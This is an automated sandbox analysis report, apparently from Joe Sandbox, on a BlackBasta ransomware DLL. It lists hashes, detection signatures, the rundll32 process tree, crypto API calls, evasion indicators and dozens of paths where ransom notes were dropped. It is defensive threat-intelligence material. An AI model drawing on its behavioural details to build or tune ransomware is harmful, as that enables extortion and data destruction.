Edit tour

Windows Analysis Report
WIFCgRK79c.dll

Overview

General Information

Sample name:	WIFCgRK79c.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original sample name:	1354254499b2e3353708747d36c334074f40c1f726ea7590384f2192c972f8c3.exe
Analysis ID:	1543068
MD5:	53a7c9b7ae1309fa2fda3cd9cd04d35d
SHA1:	0376101a6ba19ae78e70aa8ac355f73d2ba623ad
SHA256:	1354254499b2e3353708747d36c334074f40c1f726ea7590384f2192c972f8c3
Tags:	BlackBastaexeuser-JAMESWT_MHT
Infos:

Detection

BlackBasta

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found ransom note / readme

Multi AV Scanner detection for submitted file

Yara detected BlackBasta ransomware

Drops a file containing file decryption instructions (likely related to ransomware)

Drops executable to a common third party application directory

Found Tor onion address

Infects executable files (exe, dll, sys, html)

Potential evasive VBS script found (sleep loop)

Potential evasive VBS script found (use of timer() function in loop)

Writes a notice file (html or txt) to demand a ransom

Abnormal high CPU Usage

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Module File Created By Non-PowerShell Process

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll64.exe (PID: 7524 cmdline: loaddll64.exe "C:\Users\user\Desktop\WIFCgRK79c.dll" MD5: 763455F9DCB24DFEECC2B9D9F8D46D52)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7576 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

rundll32.exe (PID: 7604 cmdline: rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",#1 MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7584 cmdline: rundll32.exe C:\Users\user\Desktop\WIFCgRK79c.dll,VisibleEntry MD5: EF3179D498793BF4234F708D3BE28633)

rundll32.exe (PID: 7764 cmdline: rundll32.exe "C:\Users\user\Desktop\WIFCgRK79c.dll",VisibleEntry MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Black Basta	"Black Basta" is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.	No Attribution	https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight https://gbhackers.com/black-basta-ransomware/ https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023 https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
WIFCgRK79c.dll	JoeSecurity_BlackBasta	Yara detected BlackBasta ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: rundll32.exe PID: 7604	JoeSecurity_BlackBasta	Yara detected BlackBasta ransomware	Joe Security
Process Memory Space: rundll32.exe PID: 7764	JoeSecurity_BlackBasta	Yara detected BlackBasta ransomware	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.rundll32.exe.7ffdfb610000.0.unpack	JoeSecurity_BlackBasta	Yara detected BlackBasta ransomware	Joe Security
4.2.rundll32.exe.7ffdfb610000.0.unpack	JoeSecurity_BlackBasta	Yara detected BlackBasta ransomware	Joe Security

Sigma Signatures

Sigma detected: PowerShell Module File Created By Non-PowerShell Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\rundll32.exe, ProcessId: 7584, TargetFilename: C:\Program Files\WindowsPowerShell\Modules\instructions_read_me.txt

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: WIFCgRK79c.dll

Avira: detected

Multi AV Scanner detection for submitted file

Source: WIFCgRK79c.dll	ReversingLabs: Detection: 57%
Source: WIFCgRK79c.dll	Virustotal: Detection: 63%			Perma Link

Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB646FB0 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__std_exception_copy,	4_2_00007FFDFB646FB0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB647700 CryptGenRandom,CryptReleaseContext,	4_2_00007FFDFB647700
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB647610 CryptReleaseContext,_Init_thread_footer,	4_2_00007FFDFB647610
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB647120 GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,CryptReleaseContext,	4_2_00007FFDFB647120
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB6474D0 CryptReleaseContext,	4_2_00007FFDFB6474D0
Source: C:\Windows\System32\rundll32.exe	Code function: 4_2_00007FFDFB647520 CryptGenRandom,SetLastError,	4_2_00007FFDFB647520

Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\7-Zip\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft Office 15\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Uninstall Information\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Mail\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Multimedia Platform\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Photo Viewer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Portable Devices\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Security\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\7-Zip\Lang\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Services\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\images\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Internet Explorer\SIGNUP\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\OneDrive\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\browser\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\defaults\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\fonts\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\uninstall\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\Offline\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender\Platform\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\Classification\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Media Renderer\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Network Sharing\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Skins\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Media Player\Visualizations\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\Accessories\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\TableTextService\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Photo Viewer\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Esl\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ClickToRun\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\MSInfo\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\Stationery\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\TextConv\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\Triedit\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\VGX\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\ado\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\msadc\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\System\Ole DB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Google\Chrome\Application\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\browser\features\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\browser\VisualElements\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\defaults\pref\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Reference Assemblies\Microsoft\Framework\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\Accessories\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\Accessories\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows NT\TableTextService\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PackageManagement\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\Pester\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\WindowsPowerShell\Modules\PSReadline\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Air\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Assets\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocSettings\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\DocTemplates\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\HostedServicesTemplates\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\IDTemplates\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Javascripts\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Legal\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Locale\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ngl_resources\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins3d\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Sequences\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Tracker\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\CMap\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\Font\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\SaslPrep\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Resource\TypeSupport\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\DC\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\Acrobat\Setup Files\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\Adobe\HelpCfg\en_US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OnlineInteraction\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ar-SA\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\bg-BG\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\cs-CZ\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\da-DK\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\de-DE\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\el-GR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\en-US\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\es-ES\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\es-MX\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\et-EE\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fi-FI\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fr-CA\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fr-FR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\he-IL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\hr-HR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\hu-HU\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\HWRCustomization\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\it-IT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ja-JP\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ko-KR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\LanguageModel\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\lt-LT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\lv-LV\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\nb-NO\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\nl-NL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\pl-PL\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\pt-BR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\pt-PT\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ro-RO\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\ru-RU\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sk-SK\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sl-SI\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sr-Latn-RS\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\sv-SE\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\th-TH\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\tr-TR\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\uk-UA\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\zh-CN\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\ink\zh-TW\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\MSInfo\en-GB\instructions_read_me.txt	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Directory created: C:\Program Files\Common Files\microsoft shared\MSInfo\en-US\instructions_read_me.txt	Jump to behavior
